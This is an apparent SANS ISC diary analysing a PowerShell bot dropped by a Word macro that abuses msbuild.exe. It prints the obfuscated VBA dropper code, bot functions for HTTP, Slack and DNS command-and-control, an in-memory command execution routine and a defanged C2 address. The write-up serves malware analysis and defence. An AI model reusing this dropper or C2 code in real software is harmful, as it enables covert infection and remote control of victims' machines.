Threat Level: green Handler on Duty: Jan Kopriva

SANS ISC: Powershell Bot with Multiple C2 Protocols - SANS Internet Storm Center SANS ISC InfoSec Forums

Participate: Learn more about our honeypot network

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Powershell Bot with Multiple C2 Protocols

I spotted another interesting Powershell script. It's a bot and is delivered through a VBA macro that spawns an instance of msbuild.exe This Windows tool is often used to compile/execute malicious on the fly (I already wrote a diary about this technique[1]). I don’t have the original document but based on a technique used in the macro, it is part of a Word document. It calls Document_ContentControlOnEnter[2]:

Private Sub CommandButton1_Click()
  MsgBox "Thank you for your participation!"
  Call f332dsasad
End Sub

Private Sub Document_ContentControlOnEnter(ByVal ContentControl As ContentControl)
End Sub

This is an interesting technique because it requires some interaction with the victim and therefore may prevent an automatic analysis in a sandbox. The macro was submitted to VT on July 31st from the United States. The current VT score is 1/60[3]. The macro is simple, it dumps an XML project file to disk and launches msbuild.exe:

Sub f332dsasad()
  Dim aaa As String
  On Error Resume Next
  Dim file
  appDataLocation = Environ("A" & "ppD" & "ata")
  file = appDataLocation & "\Wind" & "owsManager." & "xml"
  Set objFSO = CreateObject("Scripting.FileSystemObject")
  Set oFile = objFSO.CreateTextFile(file, True)
  oFile.Write "<Project ToolsVersion=""4.0"" xmlns=""""><Target Name"
  oFile.Write "=""Example""><ClassExample /></Target><UsingTask TaskName=""ClassExample"" TaskFactory=""CodeTaskFactory"""
  oFile.Write " AssemblyFile=""C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll"" ><Task>"
  oFile.Write "<Reference Include=""System.Management.Automation"" /><Using Namespace=""System"" /><Using Namespace=""Sy"
  oFile.Write "stem.IO"" /><Using Namespace=""System.Reflection"" /><Using Namespace=""System.Collections.Generic"" /><C"
  oFile.Write "ode Type=""Class"" Language=""cs""><![CDATA[ using System;using System.IO;using System.Diagnostics;using"
  oFile.Write " System.Reflection;using System.Runtime.InteropServices;using System.Collections.ObjectModel;using S"
  oFile.Write "ystem.Management.Automation;using System.Management.Automation.Runspaces;using System.Text;using Mic"
  oFile.Write "rosoft.Build.Framework;using Microsoft.Build.Utilities;public class ClassExample :  Task, ITask{publ"
  oFile.Write "ic override bool Execute(){byte[] data = Convert.FromBase64String(""W1NjcmlwdEJsb2NrXSAkcWY1ID0geyBpZ"
  oFile.Write "igkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uLk1ham9yIC1sZSAyKXsgZnVuY3Rpb24gQ29udmVydFRvLUpzb257IHBhcmFtKFtQY"
  oFile.Write "XJhbWV0ZXIoVmFsdWVGcm9tUGlwZWxpbmU9JFRydWUpXSRpdGVtLCAkRGVwdGgsIFtzd2l0Y2hdJENvbXByZXNzKTsgYWRkLXR5c"

        ... (stuff removed) ...

  oFile.Write "jFSZ3VaS09qQkwySVovSEpaaUJvOGUzS1lZMnV4SlZqams9IjsgJF95NzQrPSJsSUhzeFMyTmhXRFdMNXNVekU5aDFFdFpLdm5qe"
  oFile.Write "FJsWklqQVd3RjFmZXFjPSI7IHBzcTsg"");string script = Encoding.Default.GetString(data);PSExecute(script)"
  oFile.Write ";return true;}public static void PSExecute(string cmd){Runspace runspace = RunspaceFactory.CreateRun"
  oFile.Write "space();runspace.Open();Pipeline pipeline = runspace.CreatePipeline();pipeline.Commands.AddScript(cm"
  oFile.Write "d);pipeline.InvokeAsync();}} ]]></Code></Task></UsingTask></Project>"
  waitTill = Now() + TimeValue("00:00:04")
  While Now() < waitTill
  aaa = "c:\Wi" & "nd" & "ow" & "s\" & "Micr" & "oso" & "ft.NE" & "T\Fr" & "ame" & "work64\v4." & "0.30319" & "\M" & "sbuil" & "d.ex" & "e " & file
  retVal = asd21we(aaa, 0)
End Sub

Note that a specific version of the .Net framework is used (v4.0.30319) in the patch of msbuild.exe!

Another nice trick to obfuscate the execution of a new process is to map the WinExec[2] API call to a random string:

Private Declare PtrSafe Function asd21we Lib "kernel32" Alias "WinExec" (ByVal szURL As String, ByVal dwReserved As Long) As Long

The payload is just Base64-encoded and obfuscated but can be easily analyzed. First, a default configuration of the bot is provided via an encrypted array:

$_q60 = @{}; 

This content is Base64 and SHA256 encrypted. Once decoded, you read this:

PS C:\Users\REM> bpf
Name                           Value                                                                                                         
----                           -----                                                                                                         
sleep                          1                                                                                                             
chunksleep                     1                                                                                                             
key                            {47, 130, 248, 76...}                                                                                         
handlers                       HTTPAES256|hxxp://104[.]239[.]177[.]103:80                                                                          
shell                          powershell                                                                                                    
maxrequestsize                 24000         

Another interesting array is obfuscated in the same way and discloses interesting features of the bot:

PS C:\Users\REM> doa
Payload too long for slack API
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
The remote server returned an error: (429) Too Many Requests.
No response from handler

Process Exited
Not a connect
Not a valid destination address
Cant resolve destination address
Cant connect to host
Unknown socks version
Tcp Connection Closed
Payload type not supported: 

Just by reading this array, you guess that we are facing a bot! An interesting one if indeed the references to the API! We see that the bot supports multiple protocols to talk to its C2 server:

  • HTTPAES256
  • DNSAES256

We can find a function for each technique in the bot.  Here is the function which sends data to the C2:

function oqe($_hc8, $body) {
   $_l19s = $_d.handlers.split(","); 
   $_ktk = ""; 
   For ($i=0; $i -lt $_l19s.Length + 1; $i++) {
     try {
       $_l19 = $_l19s[$i].split("|");
       if($_l19[0] -eq $_h[17]) { # "HTTPAES256"
         Return v1v $_l19[1] $_hc8 $body;
       elseif($_l19[0] -eq $_h[18]) { # "SLACK"
         $trySlack = $false; 
         Return ny4 $_hc8 $body; 
       elseif($_l19[0] -eq $_h[19]) { # "HTTPAES256FRONT"
         Return v1v $_l19[1] $_hc8 $body $_l19[2];
       elseif($_l19[0] -eq $_h[20]){ # DNSAES256
         Return r8p $_hc8 $body $_l19[1]; 
     catch { 
       if($_.Exception.message -eq 404) {
         throw $_;
       else { 
         $_ktk += $_h[21] + $_.Exception.message;
   Throw $_ktk;

Here is the function which uses Slack to exchange data with the C2:

function ny4($_hc8, $body){ 
  [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null; 
  $bodyEnc = vnm $_d.key $body; 
  $Body2 = @{ url = $_hc8; body = $bodyEnc; } | ConvertTo-Json -Compress -Depth 3; 
  $_uyx = q6d -token $_d.slacktoken -channelID $_d.slackchannel -Header $Body2; 
  if($_hc8 -ne $_h[12]){ 
    $thread_ts = $_uyx.ts; 
    sleep -Milliseconds 500;
    $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; 
    if($_uyx2.messages.length -lt 2){ 
      Sleep 4; 
      $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; 
    if($_uyx2.messages.length -lt 2){ 
      throw $_h[13]; 
    $_yl5 = ncf $_d.key $_uyx2.messages[1].text ; 
    if($_yl5 -eq "404"){ 
      throw "404"; 
    return ConvertFrom-Json $_yl5; 

The rest of the code is classic for a bot. Once initialized, it enters an infinite loop and contacts the C2 at a regular interval (based on the config with some randomization):

Sleep (Get-Random -Minimum ([float]$_d.sleep * 0.7) -Maximum ([float]$_d.sleep * 1.3));

When launched, it registers itself to the C2 by sending the IP address, hostname, and username and get back from the C2 a handler. Here is the initial information sent:


Note the list of available commands:

  • Command (execute something)
  • Upload
  • Download
  • Configure
  • Exit
  • Posh in mem
  • Reflected assembly
  • Interactive
  • Socks (proxy)

Once registration is successful:


Now, we've our _id! I was curious about the command 'posh_in_mem'. It just means "PowerShell in memory" and allows execution of the submitted PowerShell code:

 } elseif ($_wxs.($_h[32]).type -eq $_h[37]) { 
     $bytes = zvf $_suv $_wxs.($_h[32]).($_h[34]).length; 
     $script = [System.Text.Encoding]::ASCII.GetString($bytes);
   } else {
     $script = "";
   $script += $_h[21] + $_wxs.($_h[32]).($_h[34]).command; 
   $_e7i = Invoke-Expression $script | Out-String; 
   ForEach ($line in $($_e7i -split $_h[21])){ 
     $_yl5+=$line.TrimEnd() + $_h[21]; 
   igl $_wxs._id $_yl5 $false;

The C2 is located at and is still alive. This IP address is serving the following website: https://culture-amp[.]com. It allows you to download a document called 'Diversity and Inclusion Survey.docm'[5] that contains... our initial macro!

I kept the bot running for approximately 24 hours but I never received any command. Only heartbeats were processed. In my opinion, these files could be related to a red-team exercise or targeting a specific victim/organization. The fact that the path to msbuild.exe is hardcoded to a specific .Net framework version is a good sign. Anyway, the Powershell script was really nice to analyze!


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS Amsterdam August 2022


697 Posts
ISC Handler
Aug 5th 2020

Sign Up for Free or Log In to start participating in the conversation!